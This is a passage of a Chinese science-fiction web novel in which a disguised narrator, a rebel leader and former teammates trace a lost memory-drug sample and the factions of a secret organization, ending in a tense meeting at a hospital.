姚渊听得眉头一紧,再一次对我暗戳戳贬低他的假设不满:“那我真是疯了,我怎么可能走到这一步。”
“那是因为,现在的你不知道自己当年找到了什么。”我后靠在椅背上,“万一你想要的真相让你变成这样,谁能拦得住你?”
姚渊似乎想说点什么,我没给他这个机会。
“刚退伍、责任感到达巅峰的城市执行官指挥官,”我伸出左手,又伸出右手,“遇到了自认为失去所爱的城市居民,向着辐射区送死——”
我把双手合在一起,瞥向姚渊:“你领头,得知生物复制体存在的证据,然后告诉组织成员‘你的猜想没错,你的亲人就是被复制体替换了’——谁会先崩溃?你又要怎么去辨别复制体?”
震耳欲聋的沉默。
我松开手,转而抱胸。幸好姚渊还没疯到最差的地步,他现在的沉默,就跟我十年前也选择沉默是一致的。
姚渊当年在战场上,肯定用过生物复制体士兵,但在城内出现就又是另外一回事了;而如今的姚渊就是复制体,能不能被有实质证据分辨出来,他自己最清楚。
我叹了口气:“对管理局来说,这只是纯粹的不稳定和恐怖主义。”
姚渊身体前倾,手肘
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撑在腿上,指尖摁着太阳穴,似乎在判断和思考:“怪物,到底是什么?”
“辐射区巡逻队成员。”我回答他,“我不知道你们为什么会起冲突,我也不知道纪殊珩在怪物身上找到了什么。”
当然会起冲突了,巡逻队本身就是处理非官方许可、深度潜入辐射区的民间队伍;在怪物身上找到的人造化合物具体是什么,至今我都不清楚。
要是直接去问林执,我都怕他追着我问“只有我和吴潍知道这一点,而且她现在失忆了,你又是怎么知道的”。
想想就头疼。
我还等着姚渊说点什么,只看见小女孩忽然很开心地站起身,冲向了某个人。
“姐姐——”小女孩主动去拉吴潍的手,“姐姐我好像认识你。”
吴潍被吓了一跳,把手里的实体文件捯饬到另一只手里,空出被小女孩拉着的手。她看看我,又看看小女孩,只好先蹲下来安抚一番。
我正准备欣赏她会不会和我一样手足无措,但吴潍挂出的笑意,在她看清小女孩的脸之后停滞了一秒:“你怎么会认识我呀?”
小女孩歪头一笑:“妈妈有你的照片。”
吴潍没说什么,摸摸她的头,转而牵着小女孩的手,重新站起身,视线从我身上滑到旁边的姚渊身上,最后牢牢地钉在我身上:“Wined,不介绍一下?”
姚渊安分地坐在一边,看着我的眼神有些意味深长。
我没管他眼神里的揶揄,露出一个微笑,伸出手,介绍我的新晋“蚂蚱队员”:“吴潍,他是退役城市执行官指挥官,姚渊。”
吴潍看着我的眼神依然充满探究。我无奈地扶额,冲她打招呼:“吴老板,我跟你提过。”
她无从验证,似乎接受了我塑造的事实。
但我知道吴潍现在的平静,只是暴风雨来临前的假象。吴烛还是姚渊手底下的组织成员,吴潍绝对会和他起冲突。
我必须在场控制情况。我的思维忽然跳跃了一瞬间。
以前我好像也经常调停手底下队员的冲突,怎么不算一种深夜梦回。
“你跟我说要送走失女孩回家,我还寻思是什么被挟持的暗语。”吴潍没理会我的油腔滑调,“这女孩是叶礼雲,叶琦的女儿,失踪调查挂在管理局快半个月了,你怎么找到的?”
“谁?”我下意识地重复,思维似乎停滞了一瞬间,“谁的女儿?”
姚渊也抬头去看吴潍。三个人算得上是面面相觑。
“叶礼雲,叶琦的女儿。”吴潍挨个回答了我的问题,“不过现在她的档案不跟叶琦挂钩,系统上严格来说,应该是余殷的女儿。”
我直觉有些不妙:“她现在的监护人是谁?”
这个问题似乎有些偏,吴潍摸了摸下巴才回答我:“姓纪的哪个大公司老板,她也发了悬赏。说起来,你的账户终于能有钱了。”
“纪殊珩?”我不抱希望地去问,“为什么监护人跟叶礼雲没有血缘关系?”
“大人物的名字我是一个都记不住。”吴潍干脆在我身边坐下,顺手把文件塞到我手里,慢慢回答,“说来话长了。余殷3821年去世,叶琦3822年被判定精神紊乱不适合抚养女儿,其他直系亲属没有多余的抚养名额。纪殊珩名下无子女,就提了申请。”
被纪殊珩狠狠摆了一道。没急着去拆文件,我听完只感觉有些憋屈,不知道是幸灾乐祸,还是同病相怜似的跟姚渊分享:“姚渊,你的新妹妹计划失败了。”
“离婚带娃”的姚总督根本没理我:“我有一个妹妹就够了,不用嫉妒。”
吴潍看向我和队友的眼神像是在说“这人在胡说八道些什么呢”。
总而言之,因为纪殊珩的监护权,我和姚渊几乎一定要把叶礼雲给送回去。
“Wined,你进组织又出来,总不能就是为了这个小女孩吧?”吴潍没看我,抵着下巴问我,“你遇到什么了?组织策划的爆炸案好像没什么线索,你没事吧?”
“我怎么可能有事。”我面不改色,慢条斯理地去拆文件外壳,“组织里出几个思维清奇的天才太正常了。”
她捂着脸摇头,一把摁住我的手:“我们说好了的,共享所有真实信息。”
“记着呢。”我没挣脱开她控制的手,腾出手指向姚渊,“关于你的母亲,你可以问他,不管怎么说,捞个人还是很方便的。”
姚渊似乎没预料到我就这么把他卖了出去,不动声色地轻笑一声。
吴潍压着眉头,想说什么。
在她发难之前,我立刻制止了她:“总之,人我给你带到了,我不参与你们之间的私事。”
27. 如履薄冰的平衡
你们之间的私事。吴潍不再阻拦我拆文件,我重新去拆绕得没完没了的封存线,讽刺地想着。那是我的母亲,本应该如此的。
“对我而言更重要的是,你和林执有什么进展?”我对她说,顺手摇了摇拿在手里而不是佩戴着的手环,“我的手环被组织入侵了,我必须找你当面聊。”
吴潍说到底是欠了我半个人情,她斟酌起语言,寻找最简练的语言:“林执要你去一趟医院,他找到了一些可疑的痕迹。”
拆文件的手忽然又被吴潍摁住,我有些无力地抬头去看我的复制体到底还有什么顾虑。
和她对上视线,她想起什么似的找我确认:“等等,姚渊说他有个妹妹?”
“有什么问题?”我反问回去,“他妹妹还挺可爱的。”
吴潍扫了我一眼,也许是扫了姚渊一眼,想说什么又似乎不知道应该说些什么,最后只是轻叹一声:“我希望没问题。这样,我先把叶礼雲送到城市管理员那边,和林执对一下时间……但我要怎么通知你?”
“很简单。”我暂时不去拆那份疑似定时炸弹的文件,撑着下巴回答她,“现在就动身。”
吴潍看起来很无语:“现在是工作时间。”
“技术员和档案员出个外勤很正常吧?”我用吴潍搪塞我的话来搪塞她,带了些不自觉的笑意,“这可是你告诉我的,吴老板。”
目送着被我噎得无语的吴潍牵着叶礼雲离开,我终于是松了口气,捏了捏眉心。
“你就打算让她这么回到纪殊珩家里?”姚渊冷不丁地打断我的心理建设,“虽然这是无可避免的后果。”
“知道还问。”我瞥了一眼站着说话不腰疼的姚渊,“六岁的小孩子,还能有什么价值。纪殊珩只是用这种方式来警告你,连LEA的控制效果都没超过三个小时。”
姚渊耸肩,没有反驳我,站起身看向我:“你觉得纪殊珩能做什么?”
我沉默地抬头看向他,抿唇,以前鼓舞士气的话,放在现在总像是一种莫名其妙地认输,但我还是得继续说:“姚渊,你知道你选择‘真相’之后,意味着什么吗?”
“你在危言耸听。”姚渊回答我。
缓慢地摇头,我知道我得拿出对等的真情实感,巩固建立在利益至上的脆弱合作:“说真的,姚渊,我沦落到这个地步跟你脱不了干系。”
他似乎想嘲讽我,又想莫名骄傲地认下这个“尊贵”的事实。当然,他确实可以,但我说的不是这个。
“管理局根本不在乎那份报告。”我拿着文件站起身,意识到身高跟他差了一截,倒还不如坐着,“如果我完全顺从管理局的批复,也就是关几天禁闭,写那么百八十份检讨,到日子了,照样没心没肺地和队员们抓猫逗狗。”
我抬头去看他,盯着他,不知道我的语气里有什么,他能听出来什么:“但我没有,姚渊。”
他的声音听起来有点捉摸不透的悲伤:“你想表达什么?”
我没有回答他这个问题,他的语气是确认,而不是困惑。挥挥手里的文件,我带了点嘲讽,转移话题:“你自己想去吧,不是一天到晚自诩能看穿人心吗?”
姚渊非常不满地“啧”了一声,悻悻地跟在我身后。
走在街道上,我才发现上层的植被比以前多了许多。漂亮的绿化,近乎完美的生活,会让所有在这里生活的人归属感。
路过一个街区,姚渊不知道想到路上什么,猛地拉过我的手腕,以一种我难以挣脱的力道靠近他。
“重点不是真相本身,”他冲我低语,语气不知道是解脱还是更深的迷茫,“是不可控的后果。”
过近的距离让我下意识地用手臂横在他的胸口。一路上那么安静原来是在想这个?
他接续着推理:“管理局不信任十年前的我们,这就是我们不得不死的原因。”
“要我说‘真聪明’吗?”我嗤笑一声,“还是‘好狗狗’,那姚总督要肉干吗?”
姚渊终于忍无可忍似的,紧了紧拉着我手腕的手:“所以你给了我那道二选一。我要付出多少自由?”
我转而伸手拉下他的领口,迫使他弯腰和我平视:“全部,姚渊。”
在他愣神的当口,我松开手放他回去:“当然,我没有囚禁人类的癖好,需要的时候我会告诉你的。”
讲道理,我也不知道。我哪有那么多上帝视角,无非就是走一步看一步,我所知的、能够分享的部分也就到此为止了。
坐上我的老古董车,我输入了医院的坐标,开了自动巡航,才慢慢去拆吴潍找到了什么文件。
“姚渊,”我翻了几页,暂时没有找到头绪,“不难怪管理局不信任你们,你看看你的走访记录,好多负面词。”
我把看过的部分试图分享给副驾驶的人,但对方兴致缺缺,接过手就强迫症似的挨个叠放起来。
“是啊,退休金一降再降。”姚渊本人接受良好,似乎早就查过这部分,“纪殊珩上门提供职位,我不得不养家糊口,逻辑成立。”
我不动声色地翻了个白眼。这履历上写了好几场关键战役的胜利,就算降到底,绝不会到非得需要一份工作的地步。
姚渊本人的档案没有提及第一次人类信仰案件,退伍后接续的就是普通人生。其他没有什么我值得关注的信息,但吴潍似乎把姚渊家里所有人都查了一遍。
林执在医院里到底找到了什么,有必要把人家里所有人都翻出来吗?
“姚瑎动过手术?”我挑出了十四年前的一场大手术,直觉有些奇怪,“在你服役的时候。”
姚渊继续收好我看完的文件,没什么可隐瞒地对我说:“父母说是小瑎出了事故,比较严重,但因为年纪很小,可以考虑大脑移植。”
生物科技顶点的城市就是方便。我对着关于姚瑎手术的记录摸下巴,思考着。3811年姚瑎手术,3815年姚渊退役,组织诞生——我想起组织的成立原因,假如那场手术只是个掩盖姚瑎变成生物复制体的幌子,那姚渊加入组织是因为姚瑎?
应不应该说这一点?但姚渊似乎知道档案情况,他自己应该也能推测出来?我沉思着。如果跟姚渊说他妹妹有复制体的可能,会不会暴怒?
毕竟人类的感情就是最大变数。我可不想面对上完所有增益的姚渊,当年的他虽然是我的手下败将,但那种执行力和战斗力依然很恐怖。
我能取胜很大程度上是因为他对我一无所知,而我想要自由,就算是虚假的、临时的、充满痛苦的“自由”,这就是我那时全部的意义。
现在嘛。我走神地推演起来,反正我不会对姚瑎下手,姚渊也不会拿出十年前的气势来对付我。
我翻过这些档案,其他信息对吴潍和林执用处更大,毕竟他们对姚渊一无所知。
不,吴潍不会完全不了解。
叶琦写在那张纸上的首领嫌疑名单上就有“姚渊”这个名字。假如我要把叶琦和姚渊同时划为“卧底”,那我要怎么解释“姚渊”会是叶琦名单里的首领嫌疑人?
我有些心烦意乱,把剩下的文件扔给副驾驶的人。
姚渊手忙脚乱地接住我丢过去的文件,看我的眼神仿佛在问“你到底在发什么疯”。
沉默了一会,姚渊忽然幸灾乐祸地幽幽开口:“给吴潍编造的故事前后对不上了?”
我懒得理他的落井下石。
“我猜猜,是因为在你的故事里,我和叶琦的立场冲突?”姚渊没打算放过能偷偷“挖苦”我的机会,后靠在座位上,分析起来,“十年前,叶琦似乎是你手底下的卧底,否则你不会那么准地找到组织根据地,所以她是管理局立场;而现在,她加入了组织,是组织立场。”
“至于吴潍,她的母亲在组织里,如果让她知道追查组织的叶琦加入了组织,背叛了曾经的自己,她怕是会比你先冲进组织,你根本拦不住。”姚渊把文件重新放回文件袋,一圈一圈地重新绕回封存线,“所以,为了解释我、叶琦和你的冲突,你不得不把我和叶琦都划在管理局立场里。”
真讨厌聪明人。我撇开头去看车窗外,眼不见心不烦,不想跟姚渊说太多废话。
“不说话就是默认了?”姚渊把文件放在大腿上,探头透过后视镜硬是来看我的表情,最后笑了一声,“事先说明,我没意见。我现在是你的立场。”
“真谢谢你。”我按了眉心,毫无感激之情地回答他。
“看来不止这个谎,还有一个。”姚渊挑眉,“我想想——”
我把一瓶没开封的瓶装水扔给姚渊:“给你脑子降降温吧,姚总督。”
姚渊接过水瓶,万分欣赏我的“造谣”造得跟本人不得不对峙上的狼狈。他明显开心地笑一声:“哈,谎言总有暴露的时候——我该叫你什么?”
“随便你。”我叹气,“我根本不在乎叫什么,多少年没人喊我名字了。”
“好吧,吴队。因为叶琦这么叫你,我有点改不过来。”姚渊死性不改,选择了最开始的称呼,“放心,在吴潍面前我会当哑巴。”
“你最好从现在开始。”我阴森森地警告他。
“没说完呢。结合十年前的案件,和叶琦对组织
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重启的第二次调查,”姚渊摇头拒绝了我的申请,停顿了一下,“我可以猜到你的冲突点,叶琦给过一份有我名字的名单,最后结果就是她想处理掉我,并且吴潍可以通过叶琦的笔记推测出这一点。”
他接续看戏似的语气:“立场冲突了,吴队。”
基本都是对的,那些细节出入都不重要。
我露出一个假笑:“现在你已经发现问题,提出问题了,敢问姚总督想怎么解决?”
“坦白。”姚渊逗我似的甩出两个字,在我一记眼刀中满意收回,“就用你擅长的,坦白一半。”
我深深地叹气:“坦白你是纪殊珩手底下的倒霉蛋?叶琦不确定你的身份,所以写上去了?”
姚渊摊手,把我扔给他的水原封不动地放进副驾驶储物箱:“嗯哼,叶琦有没有真的对我动手,吴潍是不清楚的。”
我伏在方向盘上,盯着姚渊看了半天:“你也没比我坦诚多少。”
“彼此彼此。”他的尾音带出一个很短的波浪线,最后迅速收敛。
自动巡航结束,车停在了无人机的死角处,我正准备拉开车门下车,就听见副驾驶的人问我:“黑户车?”
动作没停,我撑在车门上低头去看非得哪壶不开提哪壶的总督:“你现在连车都没有。”
姚渊理所当然似的偏头,不知道的还以为我在夸他。
我一把合上爱车车门,转身踏进医院,在导航图面前站定,琢磨了一下在哪里集合,视线刚落在通向停车场的P位置。
林执和吴潍要是开车,不像我没登记的老古董,他们的车可以直接停医院或者公寓的地下停车场,而且——
“停车场。”姚渊用指尖敲了敲导航图上的“P”,“林执是核心管理层的技术人员,而且停车场有员工电梯,记得吗?”
当然记得。上次我从停车场走为了避开吴潍,结果被他抓个正着。
被打断推理思绪确实有些不爽,但我已经在姚渊面前“不爽”太多次了,说实话,已经有点麻木了。
“你怎么认识林执?”我叹气,抬腿走向P点,“徇私枉法?”
“我比你想得光明磊落。”姚渊的语气落了几分“冤枉啊”的悲怆,“纪殊珩给我看十年前案件卷宗里有他。这个城市里能当这种案子的技术支持的,哪有什么普通人。”
能拿到内部卷宗的,也没有普通人。我扫视他一眼,没有接话,在电梯门口等着,看着楼层显示数字缓慢跳到一楼。
“所以,你手底下的人为什么会查我们家的档案?”姚渊聊天似的问我,听起来格外轻松,“徇私枉法?”
真会聊天。我走进电梯门一路到底,给后来的人让出位置,反呛回去:“我真要查,你都不会知道。还不如问问你们家犯了什么事,才会被特地拎出来。”
姚渊不得不跟我一起贴在电梯墙壁上,回应对面推着病床的家属尴尬一笑。
“扪心自问,应该是事情找上我了。”他回答我,“统一战线?”
我冲他眨眨眼:“你知道我的底线。”
“那就是同意了。”姚渊从容地抓出我的隐藏台词。
在停车场的内部电梯附近,刚好遇到了频频看时间的林执。他看起精神状态好了不少,至少看起来是拥有了一场漂亮的深度睡眠。
他抬头看见我,本想招手又卡在半路上,转而指向我身后的人,眼睛盯着我看:“你——”
“姚渊。”被指着的组织总督礼貌又不失风度地自我介绍,“久仰大名,林执先生。”
林执有些不知所措地点头回应,他的手放回额头上:“Caster,你到底是什么人?吴潍不是说你失联了吗?”
啊,以为我快他们一步?我不知道吴潍和林执说了什么,但不能露馅,迅速露出一个“你懂的”表情。
也不知道林执懂了什么,总之他没再追究这个问题,转身拿出自己的手环扫开了员工电梯。
“我给吴潍开了临时访客权限,她等会就来。”林执摁了二十楼的案件,沉默一秒,看一眼姚渊,“任务书上没提到这位,可以共享信息?”
太好了,光顾着应付吴潍,忘了这茬。我只能摆出我曾经的领导范:“我负责,少问。”
林执看我的眼神有一瞬间的似曾相识,但最后迅速压了下去:“还记得我前天说医院里的成品有问题吗?”
“记得。”我接着话题,“冰柜坏了?”
林执居然给出的不是荒谬,而是若有所思:“算是。但这事没法公开,我总算是知道管理局为什么要找个外人来了。”
28. 如履薄冰的平衡
冰柜坏没坏难道不是单选题?什么叫“算是”。我腹诽着。还有,管理局不能公开的事情多了去了。
“也不算外人。”我试图强调“我是叶琦朋友”的设定,“所以,你找到什么了?”
“丢了半份十四年前的实验样本。”林执言简意赅,“因为是半份,也不排除是保存不当,导致镇定剂挥发——”
姚渊听到“十四年前”的时候,明显投入了更多注意。
“但这是十四年前的东西了。”我试图止住林执的职业病报告倾向,“和就算是06镇定剂的前身,那也太久远了,和现在有什么关系。”
林执停顿了一下:“那不一样,它可以保存记忆。虽然无法使用,但是不能排除被改造成可以使用的东西。”
我和姚渊对视了一眼。
电梯到站,林执先行跨了出去,在一众白大褂中灵活走位,拐进了倒数第二间办公室。
毫无团队精神。我对着被我撞到的技术员点头道歉,心里点着他当年的“叛逆行为”。以前也总是一脸“怎么又是我”的表情,去看我手底下的小队送回来的样本。
态度和工作报告倒是并不冲突。我绕过金属小推车,忽然瞥见贴在眼前门廊上的联系方式。
后面林执对我有几分好脸色,是因为我找到了他杳无音讯的弟弟联系方式,不然要从他嘴里套出几句对“吴潍”的好话怕是此生难见。
怀念着手底下人不敢见林执,求我出面的场景。我推开办公室门的时候想着,仿佛回到了十年前推开这扇门一样。唉,又要重新攻略了。
“说到哪了?”我撑在林执的办公桌上,低头扫视了一下,“你觉得跟LEA有关?”
姚渊最后一个进来,顺手带上门,抱胸靠在门板上,成功降低自己的存在感。
林执坐在椅子上,在一个加密抽屉里翻了半天,抽出一份看起来就有些年头的文件。
“根据吴潍描述的来看,也许吧。”林执把文件递给我,“但我没接触过LEA,不好下定论。”
我把注意力从近乎是强迫症般横平竖直的东西上移开,顺手去翻文件上写了什么。
“丢失的那份药剂背后就关联这份报告,后续就因为无法使用而停止研究了。”林执摸着下巴补充,似乎还有什么想说,但最后还是放弃了,“其他,我还在找切实证据。”
很标准的林执风格。我等会再问他发现了什么断头线索。
最上方名字行是“姚瑎”。我面无表情地从这一行开始往下滑,怪不得吴潍要查姚渊全家。
大致浏览完毕,我只感觉有些头痛。乍一看像是实验报告,但实际上只是一份伤情和样本分析报告。
姚瑎确实出了意外,但似乎没有死亡定论。我评估了伤情,依照十四年前的修复舱技术,只要没及时送到医院稳定,基本是活不下来了。
但毕竟只是伤情报告,说不准,我又往下看。
很微妙的是,管理局并为姚瑎的父母提供了“大脑移植技术”。高级点的器官移植,在当时修复舱的大部分功能还属于军用科技的时候,这算是最好的方案。
“丢失的样本,和吴潍给你的那份精油样本成分类似?”我试图把那些化学合成图和记忆里的图片对应上,“这些化学方程式真难记。”
林执推了推眼镜,语气稳定:“和十年前的那份样本更像。”
看他似乎不打算解释“十年前的样本”,我在心里叹气。管理局能不能派点新人来,我再怎么装也没法把自己彻底翻新成另外一个人。
转念一想,管理局就没打算让我装成移民Wined·Caster,是我自己给自己挑了个地狱难度的副本。
“十年前的样本?”我重复了这个名词,合上文件,“你们技术员记得真清楚。”
我把文件往后递,却发现没人接。转头去看,正好和推门进来的吴潍撞上,姚渊反而不见踪影了。
只好把文件放回桌子上,我往旁边站了站,给吴潍留出位置。
“准确来说,就是植物镇定剂的不同版本。”林执面不改色,犹豫几秒,“就是我接手的镇定剂研发,内部代号是RM。”
吴潍单手抱胸撑头,没有打断林执的解说。
“我是在案件结束之后才接手研发的,所以我当时并不知道那份样本里的人造化合物,是管理局的。”他陷入某种愧疚,“我——”
我知道他在想什么。
是他为我的那份报告背书一定存在“第二世界”的推测,也正是管理局坚决否认的一点。
他觉得是他的责任导致“吴潍”被管理局“明升暗降”,转为文职,而偏偏“吴潍”又失忆了,道歉都走投无路。
但这不是林执的错,说到底那只是个乌龙。真正的原因在于负世界的存在,我连生物复制体都没跟他提,更何况这一点。
操,吴潍你十年前的决定到底对得起谁?我压下心头无力的愤慨,最后也只能看着他,示意他继续。
林执几乎算得上是瘫坐进椅子里,试图努力组织语言,但最后还是放弃了,转回正题:“总之,十年前案件里的样本里包含RM-06,医院丢失的样本包含RM原始成分,你可以理解为,内测版。”
“样本丢失时间?”我提出问题。
这一点怎么没人主动提,难道是因为我没有开头甩“时间地点人物”提示吗?
“很难确定,要不然我早说了。”林执摘下眼镜,捏了捏眉心,“因为已经是十四年前就停止研究的样本,要不是最近医院冰柜有问题,加上你让我去查相关,我都不一定能关联上。”
“所以说,你觉得可能是组织盗窃?”吴潍提出一条推理,“从成分上看稍微有点牵强?”
“十年前的RM并不常见,我也不知道你怎么弄到那份样本的。”林执的目光落在吴潍身上,无奈地又转回,戴回眼镜,“最主要的是,丢失的样本是含有RM成分的药剂,分析报告里写了含有供体记忆和生化反应,但因为无法使用而无法验证。”
“供体是姚瑎。”我本打算闭嘴,但又想起和吴潍的约定,再什么都不说,怕是得把我扔出去,“组织拿去制作LEA对付姚渊,也说不定?”
林执插嘴提出问题:“组织跟姚渊有什么关系?”
“说来话长,总之是组织的精神领袖。”我只打算一句话带过,想想又加了一句,“绝大多数组织成员能见到的唯一核心成员。”
林执没有说话,眼睛盯着我。我冲他眨眨眼,示意他有什么问题就说。
“管理局找你原来还有这个原因。”林执站起身,撑着桌子用身高优势俯视我,“跟十年前的吴潍一样,多说点信息,多信任一分队友跟要了她命一样。”
好耳熟的评价。我摆出“我听不懂”的表情,心里想着。叶琦也这么说过我:什么都不说,闯一个大祸,最后逃之夭夭。但我得声明,我没有闯祸。
被十年前的技术后勤骂了一顿的吴潍又茫然又委屈,毕竟她现在什么都不知道。
我看了吴潍一眼,对方回了一个“你把姚渊带过来了都没提这个”的疑惑眼神。
重新进门的姚渊刚好卡在凝重时机,三个人同时把视线落在他身上。
被凝视的人冷静地关上办公室门,用着无辜的语气:“我以为我不在,你们团队氛围会更好?”
故意的,姚渊用我不熟悉的语气就是故意的。我僵硬地回头,果不其然地看见林执抓着桌沿的手暴起青筋。
“你们到底谁能完全给我同步一下信息?”林执忍无可忍地爆发情绪,手指点着桌面,“十年前是这样,上次是,这次也是,关于那一帮神经病组织的信息能不能和我共享一下?”
我都不用回头,用后脑勺都能想到姚渊挑眉的表情。
“十年前的案子现在又翻出来,所有曾经的参与者都很关心,只是没资格追。”林执都不知道应该看谁,最后闭着眼睛扶额,听起来很无力,“我知道我是后勤技术,不应该知道太多,但,操。”
我下意识地伸手,迅速接话:“我的问题,是我失联的问题。”
“你的问题?你从头到尾都是问题。”林执的手指着我,眼睛死死地盯着我,语气里尽是嘲讽,“了解十年前的案件细节,叶琦的死亡,RM-06样本,官方指名空降牵头案件,爆炸案中心,组织里失联,违规调用无人机,最后还和包庇组织的人?”
“合作。”姚渊轻轻地火上浇油,被我狠狠瞪了一眼后,毫无愧疚之心地转移目光。
我顺着林执的指尖指向自己,有些惊讶,但更多的是疑惑:“噢,你怀疑我是管理局内鬼?”
“我没有办法再忽略你的问题了。”林执压着声音,“你除了是内鬼,还有别的解释吗?”
以前的林执写那份看起来就跟梦话一样的报告时,怎么没问这么多——操,因为我当年是“吴潍”,这个名字本身,就对林执而言有足够的信任。
我拿不出证据,实体证据。
迄今为止的证据都是我的目证,面对我上司我还能有话挣扎,但面对质疑我是内鬼的队友,我拿不出任何证据。
我的计划在后面,在第二次见到纪殊珩之后,我才会拿到实体证据。
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死寂一样的沉默。
我没有办法对林执有任何怨气,他是唯一一个被我主动拖下深水的前队员。别人可以心无旁骛地接受“吴潍”出了意外失忆,但他不行,他本来比其他所有人都知道的更多。
“我很抱歉,”我长长地叹气,和林执对视,“关于发生的所有事情。”
“道歉不是解释。”林执似乎没有提取到我的言外之意,生硬地顶回我的话,似乎是没有力气再追究我,“你有什么要分享的?”
“组织内部另有领导派系。”不论如何总算是能继续了,我生怕林执反悔,“务实派和——”
“求真。”姚渊慢条斯理地补充,把视线转向吴潍,“就是你母亲加入的那一派。绝大多数人加入组织基本都是这一派。”
原来你不会用自己的名字命名,自恋还有救。我心里吐槽一句,重新接上话题:“求真派。求真派不是主要目标,毕竟站那里的‘首领’对LEA一无所知,知道的还没你们多。”
被点名的人配合摊手,点头认了我的说法。
“制作和走私都由务实派领导。”我试图找支笔写下“纪殊珩”的名字,最后征用了林执角落里的白板,“首领,组织内部的人称其为‘摄政’。”
我一边在白板上画,一边讲解。
姚渊和纪殊珩的名字分别下属求真派和务实派;订货人通过单独指向纪殊珩,箭头线上写上CEC和LEA-A,反指回去的箭头线上写上LEA;纪殊珩底下单独划出箭头指向传话人,线上写着LEA。
按照画出来的关系图,我额外加了两个名词解释:CEC未知,LEA逆推源头,疑似来自管理局;LEA-A未知;LEA-B注射记忆,疑似可以修改人格。
姚渊走向白板,摸出另一支笔,在关系图上只有“LEA”单独存在的后方都上加了个“-B”。
意识到我不善的目光,姚渊接受良好地放回笔,靠在白板边上:“B剂才是销售成品,这下信我是诚心的了吗?”
老狐狸。我暗戳戳骂他。
“总之,就是这样。”我想提叶礼雲,但我一想到她是叶琦的女儿就横竖张不开口,“有什么问题?”
“Caster,CEC有什么特征?”林执果然还是会问到这个问题,“你为什么觉得它会来自管理局?”
手里的笔转了转,我决定提前把对林执的追问放出来:“你没找到切实证据?”
林执的眼睛眯了眯:“是我,在问你。”
生气的林执。撇开十年前的交情,我心里真的有点怵他。好吧,好吧,明知故问,但我必须回答。
我重新拿起笔,在白板上竖着画了一道竖线,最顶上写了RM,左边写上组织,右边写上管理局。
“3811年,RM成分出现,”我往下画短横和时间,把RM归在管理局下,“3815年,组织获得了RM,版本未知。”
我在“3815”和竖线的左侧写上了“得知”。
林执盯着我的眼神让我有些汗毛倒竖,梦回十年前第一次见他的时候。
我试图把自己的注意力压在白板上,在中间位置画了条短横,但没有接上时间,我打了个问号,在竖线左侧写上了“逆推”。
“RM-06时间不定,但我推测应该在中间时间段?”我扫了一眼姚渊,对方并没有替我补全的意思,我只好接着往下,“3825年——”
我沉默了一会,在“逆推”下方写上“使用”。回头再看一眼,管理局RM迭代路线差不多和组织逆推进度匹配,我忍不住叹了口气。
合上笔,我试图用真诚的语气巩固微薄的信任:“LEA-B含有RM逆推成分,而它可以修改人格。我目前无法证明,但过两天,你们会看见纪殊珩会有个失散多年但意外去世的姐妹。”
这几乎就是明证了,证明组织和管理局一定有某种联系,证明管理局的技术泄露一定存在,而内鬼——也很有可能存在。
组织从3815年起得知RM存在,并且RM可以配制成记录记忆的药剂,组织自然可以逆推升级,甚至能够到目前修改人格的LEA-B。
林执没有提出意义,至少是过了这一关。我松了口气,等明天管理局会怎么处理“假纪殊珩”尸体,就能证明我说的话有可信度。
我把手里的笔放回白板上,就听见吴潍开口。
“你为什么要对付自己的组织?”吴潍对姚渊发难,“纪殊珩给你的待遇并不差。”
姚渊停顿两秒,勾起嘴角:“我不喜欢她。就算给人当狗,也得挑个好主人吧?”
29. 如履薄冰的平衡
“满嘴胡话。”被暗示为“好主人”的我正眼都懒得看他,“创始人之争罢了。纪殊珩有LEA能控制组织核心,姚渊被排除在外,自然不甘心。”
姚渊没有反对,安分接受我的编排。我也不担心他会拆我台,这是事实的一部分,没什么不对的。
“个人恩怨?”吴潍用我熟悉的语气提出反问,“姚总督,您有必要搭上自家房子吗?那地段的房子不便宜。”
姚渊似乎对这个事件过不去而感到头疼,低头捏捏眉心:“没上过前线的人总是会对这些小打小闹感到惊讶。”
我放回白板笔,替他回答了这个问题:“避开管理局监视。吴潍,你最清楚管理局对我的‘信任’程度。”
终于可以报复吴潍转发技术报告给我的行为了。我恶狠狠地想着。不过,想来应该暂时没有查到我和十年前案件的关联,最多就是证明被管理局拿捏的把柄有多大罢了。
吴潍无语似的摇摇头,不知道是信了还是没信。
“好,还有什么问题吗?”我打了个响指作结,抬眼环视了一圈,“没有,很好。”
沉默几秒,我还是决定说些什么对鼓舞士气为副作用,但足够真诚的抒情。
“你们有的是时间证明我到底是不是内鬼,管理局到底从哪里请出来的‘能人异士’,”我深呼吸,看向办公桌边的两位,“但不管你们会得出什么结论——”
我伸手指向我自己,语气不容置喙:“在这件案件里,我是完全可以信任的人。你们所有的困惑,会在案件结束之后得到解释。”
我还想说什么,理智告诉我不应该提前剧透任何事情,但我控制不住,出于一种令人窒息的求生欲,又或者是自毁欲,最可能就是干脆的,对过去十年的忏悔倾诉欲。
吴潍看向我的眼神是怀疑和冰冷,但表情还是一如既往的温柔。
林执没有表情,不知道是不在乎,还是受够了领导的照旧谈心。
我不在乎台下的人如何看我,做领导的都这样。指向自己的手指变为手掌,放在胸口:“你们,会满意我的结局。”
其实我不知道这个结局是什么,但一定足够“吴潍”,足够配得上我迄今为止的人生,足够让所有人满意。
会让所有人,得到想要的。
“没人在意你的结局。”林执轻轻地叹了口气,“情报说完了,接下来要查什么?我去查CEC?”
好吧。我在心里无奈地结束独角戏,开始安排计划:“吴潍,你去跟样本丢失和纪殊珩‘姐妹’的案件;林执,你去查CEC和一个代号:‘司南’。不过我得提前说,你们可能什么都查不到,但无论如何,不要暴露目标。”
“为什么这么笃定?”吴潍摸着下巴问我,“你一直在试图把我们推向进展有限的管理局,你独自去调查组织,为什么?”
我摊手:“因为组织危险,因为管理局有内鬼。”
林执撑着下巴看我:“我们到底在对付什么东西?”
我沉思着,最后只说了一句:“十年前的幽灵。”
怪不得我天天说谜语,知道得越少越好,也方便我编排故事。
吴潍和林执都懒得跟我争了,没有提出异议。我等了几秒,诡异的寂静暗示我可以进行下一步了。
刚想转身出门,我忽然听见吴潍喊了一声:“姚渊,我们之间还有问题没解决。咖啡?茶?还是酒?”
姚渊不再靠着白板,起身看向吴潍,没有拒绝:“咖啡吧?茶太苦,酒太烈,我,都不喜欢。”
吴潍的眼神似乎要把姚渊整个人看穿一样,充斥着令人悚然的平静。
姚渊不是在说自己的喜好,那个微妙的停顿就证明是在说我的。
我识相地让路,目送对彼此敌意几乎实体化的两位离开。一顿饭就把人喜好摸清楚了,真恐怖。
琢磨一下自己是应该回车上等,还是待在原地不动,我听见林执无力地长叹:“Caster,你不觉得你的保护欲太过头了吗?”
